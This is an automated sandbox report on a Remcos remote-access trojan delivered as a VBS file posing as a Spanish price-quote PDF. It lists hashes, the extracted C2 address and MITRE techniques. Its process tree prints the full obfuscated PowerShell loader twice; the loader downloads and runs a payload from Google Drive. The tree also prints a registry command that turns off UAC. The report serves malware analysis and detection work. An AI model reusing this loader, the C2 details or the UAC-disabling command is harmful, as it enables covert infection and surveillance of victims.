remcos | 46ee1e91ee442be3cb9cec42a4a9bf789fba87b2307856fc0b5fb6caed8f0df9

General

Target

Solicitud de presupuesto 12-11-2024·pdf.vbs
Size

85KB
MD5

ef05b12108686dfa62a992fb2d7dad60
SHA1

beecc800e64eae43578d5edf0aedecdf81ff8c45
SHA256

46ee1e91ee442be3cb9cec42a4a9bf789fba87b2307856fc0b5fb6caed8f0df9
SHA512

d5cd373c685b9306f791032552a48827368ff5043e830bd0f54a478b96b3a4ab182c11facb7845148fe1f3ba9a1865d1ad60fc8808be4b5ad70d4cc58ba01a05
SSDEEP

1536:T70tj9e0kFnGd9pZpuoNNC+JksGtp5qskc5ATSo/kNYEkgl1V0QXaAj2khj4:TQp9ehdU9jrPMessTSo/kNY1IVjHh8

Score

10^/10

remcos remotehost discovery evasion rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

t-vw8qw3d.duckdns.org:23458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-OFN57D
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	process
4	5000	WScript.exe
9	3948	powershell.exe
15	3948	powershell.exe
39	2400	msiexec.exe
41	2400	msiexec.exe
43	2400	msiexec.exe
45	2400	msiexec.exe
46	2400	msiexec.exe
49	2400	msiexec.exe
50	2400	msiexec.exe
52	2400	msiexec.exe
53	2400	msiexec.exe
54	2400	msiexec.exe
55	2400	msiexec.exe
56	2400	msiexec.exe
57	2400	msiexec.exe
58	2400	msiexec.exe
59	2400	msiexec.exe
60	2400	msiexec.exe
61	2400	msiexec.exe
62	2400	msiexec.exe
63	2400	msiexec.exe
64	2400	msiexec.exe
65	2400	msiexec.exe
68	2400	msiexec.exe
70	2400	msiexec.exe
71	2400	msiexec.exe
72	2400	msiexec.exe
73	2400	msiexec.exe
74	2400	msiexec.exe
75	2400	msiexec.exe
76	2400	msiexec.exe
77	2400	msiexec.exe
78	2400	msiexec.exe
79	2400	msiexec.exe
80	2400	msiexec.exe
81	2400	msiexec.exe
82	2400	msiexec.exe
83	2400	msiexec.exe
84	2400	msiexec.exe
85	2400	msiexec.exe
86	2400	msiexec.exe
87	2400	msiexec.exe
88	2400	msiexec.exe
91	2400	msiexec.exe
94	2400	msiexec.exe
96	2400	msiexec.exe
97	2400	msiexec.exe
98	2400	msiexec.exe
101	2400	msiexec.exe
102	2400	msiexec.exe
103	2400	msiexec.exe
104	2400	msiexec.exe
105	2400	msiexec.exe
106	2400	msiexec.exe
107	2400	msiexec.exe
108	2400	msiexec.exe
109	2400	msiexec.exe
110	2400	msiexec.exe
111	2400	msiexec.exe
112	2400	msiexec.exe
113	2400	msiexec.exe
114	2400	msiexec.exe
115	2400	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

8 drive.google.com
9 drive.google.com
39 drive.google.com
Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
discovery

Network Service Discovery
T1046

Processes:

powershell.exepowershell.exe

pid process

3948 powershell.exe
2208 powershell.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

2400 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

2208 powershell.exe
2400 msiexec.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
8	drive.google.com
9	drive.google.com
39	drive.google.com

pid	process
3948	powershell.exe
2208	powershell.exe

pid	process
2400	msiexec.exe

pid	process
2208	powershell.exe
2400	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

msiexec.execmd.exereg.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

656 reg.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

3948 powershell.exe
3948 powershell.exe
2208 powershell.exe
2208 powershell.exe
2208 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2208 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3948 powershell.exe
Token: SeDebugPrivilege 2208 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid process

2400 msiexec.exe

pid	process
656	reg.exe

pid	process
3948	powershell.exe
3948	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe

pid	process
2208	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe

pid	process
2400	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	process	target process
PID 5000 wrote to memory of 3948	5000	WScript.exe	powershell.exe
PID 5000 wrote to memory of 3948	5000	WScript.exe	powershell.exe
PID 2208 wrote to memory of 2400	2208	powershell.exe	msiexec.exe
PID 2208 wrote to memory of 2400	2208	powershell.exe	msiexec.exe
PID 2208 wrote to memory of 2400	2208	powershell.exe	msiexec.exe
PID 2208 wrote to memory of 2400	2208	powershell.exe	msiexec.exe
PID 2400 wrote to memory of 5020	2400	msiexec.exe	cmd.exe
PID 2400 wrote to memory of 5020	2400	msiexec.exe	cmd.exe
PID 2400 wrote to memory of 5020	2400	msiexec.exe	cmd.exe
PID 5020 wrote to memory of 656	5020	cmd.exe	reg.exe
PID 5020 wrote to memory of 656	5020	cmd.exe	reg.exe
PID 5020 wrote to memory of 656	5020	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de presupuesto 12-11-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Abeigh Uforkortet Stewardernes Mycoprotein Butanernes Bjlers #><#konkordancefil Husmandsbrugene caprioled Differentiations #>$Aflggeres250='Overstalely';function Rollespils($Cinenchym){If ($host.DebuggerEnabled) {$Vankede++;$Basketballkasketten=$Cinenchym.'Length' - $Vankede} for ( $Spndvidden=4;$Spndvidden -lt $Basketballkasketten;$Spndvidden+=5){$Kumpans=$Spndvidden;$Teologen+=$Cinenchym[$Spndvidden]}$Teologen}function Hypotypic($Spndviddenmperii124){ .($Knurrendes) ($Spndviddenmperii124)}$Bed83=Rollespils 'Jerfn CoiE VigTHu k.Un.sWBranEKontB AfsCEnkel brnIIdenESt,enStraTEuda ';$Patientklagenvn=Rollespils ' So,MJub,o Phoz SleiFdselP rtl Frsa.uge/s pp ';$Husholdningsbudgets=Rollespils 'destTP ocl .ossMe,t1P,at2Inte ';$Acetatets=' Haa[MythNrampEfremt Hay. itrstableReawRVencVDisiIpe fC FluE Un PKrgeOBeesiDe.tnEkshTs,gnmTzarAManaN sk.aCha.G NuleSkthR for]G,im: ,ik:EndosEsp.EpetrcSpriuA moRScypI Be,tSelvYMadrPmuktrMet oac,itPre OJillc EksO orLSubl=Enea$ BichCornURi.uSOrdiH ceoAalbLNed.dByt.nKommI ecaN kimGBi.os EneBKontuCounDTnkeGT stEVeneterf SKoba ';$Patientklagenvn+=Rollespils 'Kred5Ost..Aris0Fr v Supe(t ngW EneiTonanRa fdB.too AmiwBygnsN nm ApacNIn oTOire Ham,1Igl.0Char.Jewl0 Cir;Prog FnotW ectiUnasnP,la6Z br4Gamm; Sej CorrxSkde6 Eje4Hur,;Preh SlvsrGubevKomm: Aur1Unen3 Opt1 Des.U pa0Luxm)Go s NonmGAfsneBarocVskek aaoB ka/Sadh2Ange0Mous1Stin0Sy d0 Ber1Tann0 Res1Soes ,eabFAlkyiNebur Afte Oxaf Hyno hasx For/Pash1Suff3 ndu1Sank.Unac0Over ';$Libbard=Rollespils ' Ka.uSundsMontEIncor Am -PlouAImd G ScieTolkN EchtUret ';$Slvtjsskabs=Rollespils ' Civh dretAf.ktKo pp Miss Bud: P r/Tvis/O redThairFurriOpskvWesteRefo. ,pig Peno Havo Gerg BonlAfste Sk..Ko mc BruoMa,mmPeri/YankuIncac Hai?H,use artxTot pI pro oter No tPren=Godkd Humo .luwHv rnShralomd oNonaaBaand Lat&PainiPoladT ed=P.rd1pandoDewao enINoncMSejrdSamiA .ragStud9Beha4 colm Wa RForhdTeksP ollpF,stXCh,oI prDMeteGF lbZTempA MetRAttrESkats spaD Fy EorogeHaneV C m0 BekFTurbzSmu w Dy,iEmb ';$Absenteringer=Rollespils 'Step>Styl ';$Knurrendes=Rollespils 'GeneI VivE uryX Und ';$Unblooming='Skjaldedigtenes';$Smilehullets='\Monactinal.Emb';Hypotypic (Rollespils 'Hydr$leasGS,alLOmvaoOrk,B Alta.obblVek :StonsTermUOpman P mDS baE.rthRC.riiTurbNsku GAcqu=,zbl$Natae raN t.kv Sa :Il xAIretPMerbPA prD Anaa UdvTReseaPeng+Udry$LyxoSCir,m bwaIL ggLPompe Corhspecu.ebil orLAnaneSundtCanosGali ');Hypotypic (Rollespils 'Kedg$ gtgAvoclVinloSqu b VidA Tirl F e:PrenASammnU mit Poli .mtPChinASkritDul,RRe,sICafeaTr er M oCSparh OcyY oks=Lilt$MeanSCoroLPl rVBraat yltjBlddsIntes ernk,rudA R abShunSLin..Ful.sS itP ImpLUdsgIXyletVld.( str$ d,tACygnbSurrS H meAntindermtL ude yfor,reci EffN S gGCompeForkRRehy),and ');Hypotypic (Rollespils $Acetatets);$Slvtjsskabs=$Antipatriarchy[0];$Uninurned=(Rollespils ' ,wa$cancGHalmLAttro D,nB Ld,a StjlO tr:.nashLi hAMu lg SteGSqueARyggdNrmeIFe rSRykkTmatc=Roqun nste P nw Sa.- Brno,hevBSyphJSlvtEG nncRegetBill G,lvS Ba,YBob sSl,hT DonEHandMKryp. Poc$HexabWifeeAnthDApex8Refi3Cram ');Hypotypic ($Uninurned);Hypotypic (Rollespils ' A.t$Pa,rHEtata,ophg OligVirkaStradGuldiProtsAarotAfri.DipyH Cr eJordaEpidd VideMenir BrasTr n[Para$ PraLSq,ii agtbUnc b LanaLaenramphdEfte]Ops =Udfo$ProtPTrafaFangt VrdiRunde I.qnDumetKna,kShellRefraTyvsgDumpealtnnKae vUgebnWhin ');$Kraniebrud=Rollespils 'Fir,$AandHLeptaUdspg yspgC isaombudVaudiBon sTrantStra.IndbDAh soIndewSjagnW.itlcoeno Pita SkedWoodF ejfi aral C neFolk( Ram$ verS Lu lCharvS.ert BygjKonts ,issSepak lluaA hmbPipes per,undi$sluto emas UnctGathe Je oRefrsGynkt,mproSeksm VovoSikruOrddsStan)Foel ';$osteostomous=$Sundering;Hypotypic (Rollespils 'Ak e$ UniGQuinlEchiOUnacbLinja UnclC.to:EnhetPotaU ol rTrivnT ekuHereSRenoK BunA MannKlapDu.deIJemmdPaupa nikTForn=Enfe(TabtTPindEStikSUnprTNyph-SkarpDoliARef,tforpH Bur Re,o$BrdkoAnnosApp tBureEP llo Skos F rtStupoA thMLu tORosauConcSAlon)Omgn ');while (!$Turnuskandidat) {Hypotypic (Rollespils 'B,st$ TougIn rlQuifoTriebSteaaSplel Bal:UnobIHaqunp ers UnceSlvec.afttPermiElecfForpuRemeg KabeDefe= rem$DesitKopir AntuBemyeAppr ') ;Hypotypic $Kraniebrud;Hypotypic (Rollespils '.ollSUdkmTUnacAUbesrGa.eT V r-,indsTra.L pfiEBlaaePreipSkra eu4Ines ');Hypotypic (Rollespils 'Flec$acquG SpllUnupoTykkBS.adAForml Cor:BfdetForsU.verr ,nmn IlyuSta SLystKNaglaAftrnImprd ComI Biod GlyaCedeT Gr = Nic( Soct rareTan SArchTSikr-Sa,oPDebaaDeviTClauh Bl Pa n$CaraoJ rns FraTUnmoEcym,oDknisacidtBromORhizMNogeO pfiU ollsUnpa)Pede ') ;Hypotypic (Rollespils 'Notu$Restg emilKi dOPallBHyp.aBereLBor : ysta aurmForsoenebRUdd,IguavSAngutCh.r=Swil$SeksGSidel B ioVedtbKeckaNstelLine:EkspoLasev MurETranr U tBDodeE hel nsAPladS BaltSubjEDoctR.rst+Chir+Rath%Acco$St eaPrivNMulttNonmIsponpTravaMyxoTKlberT keISidea iderTropcHe.oH AgeYI ra. BorCBruxo L,nUS.rgnFrisTNon. ') ;$Slvtjsskabs=$Antipatriarchy[$Amorist]}$Kontohaverens=309792;$Patrocinium=31679;Hypotypic (Rollespils ' T n$ FriG Un.L BeaO NonBAnabaKeraL,ant:KngtVOphuaBegon Ra dAgelSLa oK Unir UnikSvinkudfoeDogbNTr ks lag Eje =Re,u PneugT pwEUd itImpo- hinc PreoRiddnSyretk,rtE Pa NUnsut Tos .pis$SpknOSnebSCoenTIntee Stio oftsParatUncoo nhamOrobo Arcu CraSuun, ');Hypotypic (Rollespils 'Gni $OplagOverlMonooLderbScopaMennl Hn,:NgoeDUnf iSkydaSldepDia,eQ ayr ConsDa b Med =Ph t Cent[RelaSCentyPas.sEavet,utoeCo.mmSemi. UdaC SkooSdemnPresv E.tePne rFilitUns ]Nema:garg:UnseFJ cyr Ri o M sm tilBThyra T ks ZomeHone6Trio4AdreSFritt LevrTekni A.pnWhisgSar (n ni$JourV ChaaFerinSo.rdC dfsTen k E.trBethkNickkLagre Ba nKrimsPick)Tr g ');Hypotypic (Rollespils 'togg$ PergheksL ddaOEkspbKa,fa,lepl Ren:WintP V.jrDukkoStrmT lgpoEneiKOv.rOSydhLSmerl onECon RBirtE Co NPa fdFortE wx Kal=Felo ng[.lexSSemiytrensS ndTforgeD tamSava.Dim T terEl vkXMe ut Wro.Fe,aE Ba NA leCFor oAminD rniIKordnAnnaG fr ]Pseu: ae:Bi.sA antSRegnC iscISer,IR st. lysGMogieSt utSp,sSEngitHaanrPungi FejN ForGFisk( met$ TemdPto iInapAtenaP T.keKl rr.ldesFort)Desp ');Hypotypic (Rollespils 'J ve$ naGUnamLSlevO adiB P,lABersli ce:bunsCAnomh BerABunkN BrigKoncE radA ParBZobllKan.EJogg=Kval$LargPS.kkRnonsO ConTantaoDuroKRekuoNew,LBerslPiscE Svir PeaeLittnCre dKanae Ort.RabasTrenuStinB calsFastTPsykrSalviengonTendgOcca(Skot$Ty,gKFrusoReilnGaintLattOC,lahN,nna Lovv vivEB,drR.snieMannnStttsMeto,Dato$Sp oPViv aEx.nt ,onr RunOQuadc ilhITugtn,onfichilUTourm tri)Wayt ');Hypotypic $Changeable;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Abeigh Uforkortet Stewardernes Mycoprotein Butanernes Bjlers #><#konkordancefil Husmandsbrugene caprioled Differentiations #>$Aflggeres250='Overstalely';function Rollespils($Cinenchym){If ($host.DebuggerEnabled) {$Vankede++;$Basketballkasketten=$Cinenchym.'Length' - $Vankede} for ( $Spndvidden=4;$Spndvidden -lt $Basketballkasketten;$Spndvidden+=5){$Kumpans=$Spndvidden;$Teologen+=$Cinenchym[$Spndvidden]}$Teologen}function Hypotypic($Spndviddenmperii124){ .($Knurrendes) ($Spndviddenmperii124)}$Bed83=Rollespils 'Jerfn CoiE VigTHu k.Un.sWBranEKontB AfsCEnkel brnIIdenESt,enStraTEuda ';$Patientklagenvn=Rollespils ' So,MJub,o Phoz SleiFdselP rtl Frsa.uge/s pp ';$Husholdningsbudgets=Rollespils 'destTP ocl .ossMe,t1P,at2Inte ';$Acetatets=' Haa[MythNrampEfremt Hay. itrstableReawRVencVDisiIpe fC FluE Un PKrgeOBeesiDe.tnEkshTs,gnmTzarAManaN sk.aCha.G NuleSkthR for]G,im: ,ik:EndosEsp.EpetrcSpriuA moRScypI Be,tSelvYMadrPmuktrMet oac,itPre OJillc EksO orLSubl=Enea$ BichCornURi.uSOrdiH ceoAalbLNed.dByt.nKommI ecaN kimGBi.os EneBKontuCounDTnkeGT stEVeneterf SKoba ';$Patientklagenvn+=Rollespils 'Kred5Ost..Aris0Fr v Supe(t ngW EneiTonanRa fdB.too AmiwBygnsN nm ApacNIn oTOire Ham,1Igl.0Char.Jewl0 Cir;Prog FnotW ectiUnasnP,la6Z br4Gamm; Sej CorrxSkde6 Eje4Hur,;Preh SlvsrGubevKomm: Aur1Unen3 Opt1 Des.U pa0Luxm)Go s NonmGAfsneBarocVskek aaoB ka/Sadh2Ange0Mous1Stin0Sy d0 Ber1Tann0 Res1Soes ,eabFAlkyiNebur Afte Oxaf Hyno hasx For/Pash1Suff3 ndu1Sank.Unac0Over ';$Libbard=Rollespils ' Ka.uSundsMontEIncor Am -PlouAImd G ScieTolkN EchtUret ';$Slvtjsskabs=Rollespils ' Civh dretAf.ktKo pp Miss Bud: P r/Tvis/O redThairFurriOpskvWesteRefo. ,pig Peno Havo Gerg BonlAfste Sk..Ko mc BruoMa,mmPeri/YankuIncac Hai?H,use artxTot pI pro oter No tPren=Godkd Humo .luwHv rnShralomd oNonaaBaand Lat&PainiPoladT ed=P.rd1pandoDewao enINoncMSejrdSamiA .ragStud9Beha4 colm Wa RForhdTeksP ollpF,stXCh,oI prDMeteGF lbZTempA MetRAttrESkats spaD Fy EorogeHaneV C m0 BekFTurbzSmu w Dy,iEmb ';$Absenteringer=Rollespils 'Step>Styl ';$Knurrendes=Rollespils 'GeneI VivE uryX Und ';$Unblooming='Skjaldedigtenes';$Smilehullets='\Monactinal.Emb';Hypotypic (Rollespils 'Hydr$leasGS,alLOmvaoOrk,B Alta.obblVek :StonsTermUOpman P mDS baE.rthRC.riiTurbNsku GAcqu=,zbl$Natae raN t.kv Sa :Il xAIretPMerbPA prD Anaa UdvTReseaPeng+Udry$LyxoSCir,m bwaIL ggLPompe Corhspecu.ebil orLAnaneSundtCanosGali ');Hypotypic (Rollespils 'Kedg$ gtgAvoclVinloSqu b VidA Tirl F e:PrenASammnU mit Poli .mtPChinASkritDul,RRe,sICafeaTr er M oCSparh OcyY oks=Lilt$MeanSCoroLPl rVBraat yltjBlddsIntes ernk,rudA R abShunSLin..Ful.sS itP ImpLUdsgIXyletVld.( str$ d,tACygnbSurrS H meAntindermtL ude yfor,reci EffN S gGCompeForkRRehy),and ');Hypotypic (Rollespils $Acetatets);$Slvtjsskabs=$Antipatriarchy[0];$Uninurned=(Rollespils ' ,wa$cancGHalmLAttro D,nB Ld,a StjlO tr:.nashLi hAMu lg SteGSqueARyggdNrmeIFe rSRykkTmatc=Roqun nste P nw Sa.- Brno,hevBSyphJSlvtEG nncRegetBill G,lvS Ba,YBob sSl,hT DonEHandMKryp. Poc$HexabWifeeAnthDApex8Refi3Cram ');Hypotypic ($Uninurned);Hypotypic (Rollespils ' A.t$Pa,rHEtata,ophg OligVirkaStradGuldiProtsAarotAfri.DipyH Cr eJordaEpidd VideMenir BrasTr n[Para$ PraLSq,ii agtbUnc b LanaLaenramphdEfte]Ops =Udfo$ProtPTrafaFangt VrdiRunde I.qnDumetKna,kShellRefraTyvsgDumpealtnnKae vUgebnWhin ');$Kraniebrud=Rollespils 'Fir,$AandHLeptaUdspg yspgC isaombudVaudiBon sTrantStra.IndbDAh soIndewSjagnW.itlcoeno Pita SkedWoodF ejfi aral C neFolk( Ram$ verS Lu lCharvS.ert BygjKonts ,issSepak lluaA hmbPipes per,undi$sluto emas UnctGathe Je oRefrsGynkt,mproSeksm VovoSikruOrddsStan)Foel ';$osteostomous=$Sundering;Hypotypic (Rollespils 'Ak e$ UniGQuinlEchiOUnacbLinja UnclC.to:EnhetPotaU ol rTrivnT ekuHereSRenoK BunA MannKlapDu.deIJemmdPaupa nikTForn=Enfe(TabtTPindEStikSUnprTNyph-SkarpDoliARef,tforpH Bur Re,o$BrdkoAnnosApp tBureEP llo Skos F rtStupoA thMLu tORosauConcSAlon)Omgn ');while (!$Turnuskandidat) {Hypotypic (Rollespils 'B,st$ TougIn rlQuifoTriebSteaaSplel Bal:UnobIHaqunp ers UnceSlvec.afttPermiElecfForpuRemeg KabeDefe= rem$DesitKopir AntuBemyeAppr ') ;Hypotypic $Kraniebrud;Hypotypic (Rollespils '.ollSUdkmTUnacAUbesrGa.eT V r-,indsTra.L pfiEBlaaePreipSkra eu4Ines ');Hypotypic (Rollespils 'Flec$acquG SpllUnupoTykkBS.adAForml Cor:BfdetForsU.verr ,nmn IlyuSta SLystKNaglaAftrnImprd ComI Biod GlyaCedeT Gr = Nic( Soct rareTan SArchTSikr-Sa,oPDebaaDeviTClauh Bl Pa n$CaraoJ rns FraTUnmoEcym,oDknisacidtBromORhizMNogeO pfiU ollsUnpa)Pede ') ;Hypotypic (Rollespils 'Notu$Restg emilKi dOPallBHyp.aBereLBor : ysta aurmForsoenebRUdd,IguavSAngutCh.r=Swil$SeksGSidel B ioVedtbKeckaNstelLine:EkspoLasev MurETranr U tBDodeE hel nsAPladS BaltSubjEDoctR.rst+Chir+Rath%Acco$St eaPrivNMulttNonmIsponpTravaMyxoTKlberT keISidea iderTropcHe.oH AgeYI ra. BorCBruxo L,nUS.rgnFrisTNon. ') ;$Slvtjsskabs=$Antipatriarchy[$Amorist]}$Kontohaverens=309792;$Patrocinium=31679;Hypotypic (Rollespils ' T n$ FriG Un.L BeaO NonBAnabaKeraL,ant:KngtVOphuaBegon Ra dAgelSLa oK Unir UnikSvinkudfoeDogbNTr ks lag Eje =Re,u PneugT pwEUd itImpo- hinc PreoRiddnSyretk,rtE Pa NUnsut Tos .pis$SpknOSnebSCoenTIntee Stio oftsParatUncoo nhamOrobo Arcu CraSuun, ');Hypotypic (Rollespils 'Gni $OplagOverlMonooLderbScopaMennl Hn,:NgoeDUnf iSkydaSldepDia,eQ ayr ConsDa b Med =Ph t Cent[RelaSCentyPas.sEavet,utoeCo.mmSemi. UdaC SkooSdemnPresv E.tePne rFilitUns ]Nema:garg:UnseFJ cyr Ri o M sm tilBThyra T ks ZomeHone6Trio4AdreSFritt LevrTekni A.pnWhisgSar (n ni$JourV ChaaFerinSo.rdC dfsTen k E.trBethkNickkLagre Ba nKrimsPick)Tr g ');Hypotypic (Rollespils 'togg$ PergheksL ddaOEkspbKa,fa,lepl Ren:WintP V.jrDukkoStrmT lgpoEneiKOv.rOSydhLSmerl onECon RBirtE Co NPa fdFortE wx Kal=Felo ng[.lexSSemiytrensS ndTforgeD tamSava.Dim T terEl vkXMe ut Wro.Fe,aE Ba NA leCFor oAminD rniIKordnAnnaG fr ]Pseu: ae:Bi.sA antSRegnC iscISer,IR st. lysGMogieSt utSp,sSEngitHaanrPungi FejN ForGFisk( met$ TemdPto iInapAtenaP T.keKl rr.ldesFort)Desp ');Hypotypic (Rollespils 'J ve$ naGUnamLSlevO adiB P,lABersli ce:bunsCAnomh BerABunkN BrigKoncE radA ParBZobllKan.EJogg=Kval$LargPS.kkRnonsO ConTantaoDuroKRekuoNew,LBerslPiscE Svir PeaeLittnCre dKanae Ort.RabasTrenuStinB calsFastTPsykrSalviengonTendgOcca(Skot$Ty,gKFrusoReilnGaintLattOC,lahN,nna Lovv vivEB,drR.snieMannnStttsMeto,Dato$Sp oPViv aEx.nt ,onr RunOQuadc ilhITugtn,onfichilUTourm tri)Wayt ');Hypotypic $Changeable;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5020
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Network Service Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
456e823dcd7ab5e5f99302603dbbfbee

SHA1
eade3eab268db2241efdc256e1b41a82d08d4887

SHA256
599a553e57dbfbe0a3b7f0363a4bbd3248b55f2b73aed688d2988d22152becbd

SHA512
b0246a447a76214d1f1de1ade0cf9aea4ea39190077da67765346d709b66282327440a47e4546101ca52e75de35c17a61ae0195533476b8a3a7f4e16d9985606

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3fc2d1202a2b79aa069b738cea67fd89

SHA1
4824fb57a262abe38cf49e27931be44a6e820111

SHA256
5a9b640e85872f515aa577fde2ba7df99c37f01d3ac111e5aaac234e4a190152

SHA512
51a8913d0c42e8e198772e98e0a70555fe122ec09dbfce86176b191072405efed0e5eda4fd7728a24872712b0a1f9213d7205a844edff0543bcf3657e4a466ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebwj3dtd.q0o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Monactinal.Emb

Filesize
444KB

MD5
0fb1dc0ec0e3667a98414da9d7ea8ca6

SHA1
8a90e79d7cdf4028ef8515231a13636fd385650c

SHA256
f0eb3fadf4243cee7c7538d8751f3788b35fe0813650fd4aa843691696d7555d

SHA512
959099cdbdf3eb2bf9d6ad1d7e23587f2c4a7869546b56ba211914f14d371999179a930a790556185c4e7ea8548df1f72121415c26dd0fa33605a6f6790d8c2c

Download Submit
memory/2208-43-0x0000000006BD0000-0x0000000006BEA000-memory.dmp

Filesize
104KB

Download
memory/2208-40-0x0000000006620000-0x000000000663E000-memory.dmp

Filesize
120KB

Download
memory/2208-48-0x0000000008EB0000-0x000000000DCE6000-memory.dmp

Filesize
78.2MB

Download
memory/2208-46-0x0000000008900000-0x0000000008EA4000-memory.dmp

Filesize
5.6MB

Download
memory/2208-24-0x0000000002CE0000-0x0000000002D16000-memory.dmp

Filesize
216KB

Download
memory/2208-25-0x0000000005990000-0x0000000005FB8000-memory.dmp

Filesize
6.2MB

Download
